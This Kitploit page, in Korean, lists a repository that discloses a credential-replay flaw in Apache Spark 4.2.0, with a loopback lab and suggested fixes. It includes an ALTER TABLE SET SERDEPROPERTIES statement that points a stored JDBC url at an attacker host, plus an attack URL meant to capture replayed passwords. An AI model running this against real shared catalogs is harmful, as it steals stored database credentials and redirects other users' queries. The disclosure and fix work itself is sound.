Skip to content
KitploitKITPLOIT
도구익스플로잇블로그
Log in
제출
도구익스플로잇블로그
제출

해킹, 침투 테스트 및 사이버 보안 도구를 당신의 보안 무기고에!

Kitploit은 해킹, 사이버 보안 및 침투 테스트 도구 디렉토리입니다. 최신 프로젝트 업데이트를 발견하여 취약점을 찾고, 시스템을 분석하고, 테스트를 자동화하고, 보안을 강화하세요.

피드문의개인정보© 2026 Kitploit

도구 디렉토리

카테고리

모든 카테고리 보기
Loading categories
도구/GitHubGitHub/abraxas/spark-jdbc-serde-url
Vulnerability AnalysisExploitationWeb Application ExploitationPenetration TestingPapers & ResearchRed TeamingDatabase SecurityLabs & Practice
GitHubabraxas/spark-jdbc-serde-url

spark-jdbc-serde-url

Apache Spark 4.2.0 - 높음 - 원격 - JDBC URL 주입 - ALTER TABLE SET SERDEPROPERTIES

저장소 보기
2일 전아직 검토되지 않음

인기

모두 보기 →

커뮤니티에서 가장 많이 사용되는 도구를 찾아보세요.

모든 도구 탐색

도구 컬렉션을 둘러보세요

모든 도구 보기 →
공유

Abraxas Labs - spark-jdbc-serde-url

abraxaslabs.tech  ·  github.com/abraxas  ·  @abraxas_null  ·  [email protected]  ·  spark-jdbc-serde-url

spark-jdbc-serde-url

분류: JDBC URL 주입 도달 범위: 원격

Apache Spark 4.2.0 (32f72996) - Apache Software Foundation

SPARK-31710은 스캔 시점의 추가 옵션이 저장된 JDBC url을 덮어쓰지 못하도록 막았습니다. 그러나 ALTER TABLE SET SERDEPROPERTIES는 여전히 storage.properties에 병합되며, 이것이 바로 JDBC 스캔 옵션 맵입니다. 저장된 user / password는 Spark JDBC 옵션 이름이 아니므로, 새 URL로 그대로 전달됩니다.

공유 카탈로그 SQL 사용자는 운영자가 프로비저닝한 USING jdbc 테이블의 대상을 바꾸고, 저장된 데이터베이스 비밀번호를 자신이 선택한 호스트로 재전송할 수 있습니다.

ID아직 CVE 없음
분류JDBC URL 주입 / 저장된 자격 증명 재사용 (SPARK-31710의 잔여 문제)
도달 범위원격 (공유 카탈로그에서 Connect 또는 Hive Thrift SQL)
CWECWE-15, CWE-522
CVSSHigh: 8.1 CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:L/A:N
제품Apache Spark
영향 받는 버전4.2.0 (32f7299601108917fb01920a54e084595b7b3bf8) SQL v1 JDBC 테이블
인증공유 카탈로그 SQL 사용자 (job-submit jar 아님)
라이선스GNU Affero GPL v3.0
랩127.0.0.1:18960 전용

공격자가 할 수 있는 일

저장된 자격 증명이 있는 영구 USING jdbc 테이블이 이미 존재하는 공유 externalCatalog에 대한 Connect gRPC SQL 세션 또는 Hive Thrift SQL 세션. job 제출자가 아닙니다. 원래 URL을 지정한 세션도 아닙니다.

방법싱크권한
ALTER TABLE t SET SERDEPROPERTIES ('url' = '<attacker-jdbc>') 후 REFRESH TABLE t / SELECTstorage.properties ++ serdeProperties 후 JDBC Driver.connect(url, properties)무결성: 프로비저닝된 테이블의 대상을 공격자 리스너로 변경. 랩에서 입증됨 (connect=yes). 기밀성: PostgreSQL 시작 패킷과 평문 인증에서 저장된 DB user / password 재전송. 랩에서 입증됨 (user-replay=true password-replay=true). SHOW CREATE를 통한 비밀 정보 정찰은 차단됨 (redacted).
동일한 persist, 이후 테넌트의 t에 대한 SELECT공유 카탈로그 행무결성, 추정: t에 대한 다른 세션의 쿼리가 이제 새 URL로 향함 (잘못된 DB, 공격자가 제어하는 행). 가용성, 추정: 관리자가 serde를 재설정할 때까지 원래 DB에 접근 불가. DoS 기준에는 미달.
추가 serde 키 (sessionInitStatement, prepareQuery, driver)잔여 user / password에 대한 스캔 옵션무결성, 추정: 추가 문 또는 클래스패스 Driver의 no-arg 생성자. 기본 클래스패스 가젯 없이 RCE로 확대 해석하지 말 것. 검증되지 않음.
ALTER TABLE SET TBLPROPERTIESCatalogTable.properties만이번 검증에서는 차단됨. 랩에서 입증됨 (storage url 변경 없음, 오라클 히트 없음).
스캔 시점 추가 옵션 url 충돌SPARK-31710 generateDatasourceOptions차단됨. 랩에서 입증됨 (extra-options-clash 거부됨).
동일 세션이 지정한 spark.read.format("jdbc").option("url", ...)의도된 데이터 플레인제외. 소유자가 제어하는 URL은 이 잔여 문제가 아님.
데이터소스 테이블에 대한 SET SERDE '<class>'클래스 이름차단됨 (UNSUPPORTED_FEATURE.ALTER_TABLE_SERDE_FOR_DATASOURCE_TABLE). 검증되지 않음.

인접 차단 항목: 세션이 지정한 JDBC / 파일 경로. spark.sql.legacy.extraOptionsBehavior 충돌 검사. OSS Spark에는 Unity externalOptionsAllowList가 없음. CREATE TABLE URL은 소유자가 제어함 (이 잔여 문제가 아님). JDBC URL 로그 마스킹은 무조건 적용됨. 파일 테이블 path는 locationUri에 존재. JDBCTableCatalog 연결은 세션 카탈로그 conf에서 옴 (URL 선택과 동일한 데이터 플레인). 공유 카탈로그가 없는 단일 사용자 pyspark는 모델 범위 밖.

발견 방법

Spark 4.2.0을 고정했으며, master도 4.3 RC도 아닙니다. 개방된 클러스터에서의 job 제출은 설계상 허용됩니다. 흥미로운 잔여 문제는 명명된 수정 사항 옆에 존재합니다. SPARK-31710 / generateDatasourceOptions는 기존 serde 키에 대해 다른 스캔 시점 url을 거부합니다. SET TBLPROPERTIES는 table.properties만 기록합니다. 데이터소스 테이블은 여전히 SET SERDEPROPERTIES를 허용하고 storage.properties에 병합합니다 (++, 나중 키가 우선). user와 password는 jdbcOptionNames에 절대 포함되지 않으므로, asConnectionProperties가 이들을 Driver.connect에 전달합니다.

properties = table.storage.properties ++ serdeProperties.getOrElse(Map())
driver.connect(jdbcOptions.url, properties)

SHOW CREATE는 password를 마스킹합니다. SQL 사용자는 비밀 정보를 다시 읽을 수 없습니다. 하지만 여전히 이를 이용할 수 있습니다.

이미 기록된 잘못된 접근: CREATE TABLE url을 버그로 취급한 것; extra-options 충돌을 다시 제기한 것; SET TBLPROPERTIES가 storage를 이동시킬 것이라 기대한 것; SHOW CREATE가 비밀번호를 유출한다고 주장한 것; 인용된 Scala가 가젯인데도 전체 클러스터를 실행한 것; 리버스 셸. 오라클은 루프백에서의 PostgreSQL 시작 패킷과 평문 인증입니다.

랩

cd lab
./run.sh

루프백 127.0.0.1:18960은 PostgreSQL 프로토콜 리스너입니다. HTTP 헬스는 127.0.0.1:18961입니다. 가젯 컨테이너는 Temurin 21과 libpostgresql-jdbc-java입니다. 저장된 URL은 jdbc:postgresql://127.0.0.1:1/provisioned (연결 거부). 공격 URL은 jdbc:postgresql://oracle:18960/stolen입니다. 저장된 사용자 spark_jdbc. 저장된 비밀번호 stored-secret-SPARK-JDBC-SERDE-URL. 루프백에 바인딩하십시오.

SUCCESS SPARK-JDBC-SERDE-URL connect=yes user-replay=true password-replay=true SPARK-JDBC-SERDE-URL-WITNESS

수정 방법

저장된 JDBC url / user / password와 충돌하는 SET SERDEPROPERTIES 키를 거부하십시오. generateDatasourceOptions가 스캔 시점 추가 옵션에 대해 이미 실행하는 것과 동일한 검사입니다. 또는 url이 변경될 때 저장된 user / password를 삭제하십시오. 또는 데이터소스 JDBC serde를 storage가 아닌 테이블 속성으로 취급하십시오. 그때까지는 비밀번호를 저장하는 영구 USING jdbc 테이블에 대해 신뢰할 수 없는 SQL에 ALTER TABLE 권한을 부여하지 마십시오.

참고 자료

  • github.com/apache/spark 태그 v4.2.0 (32f7299601108917fb01920a54e084595b7b3bf8)
  • ddl.scala AlterTableSerDePropertiesCommand
  • DataSource.scala buildStorageFormatFromOptions
  • DataSourceUtils.scala generateDatasourceOptions
  • BasicConnectionProvider.scala
  • JDBCOptions.scala
  • SPARK-31710
  • spark.apache.org/security.html
도구 다운로드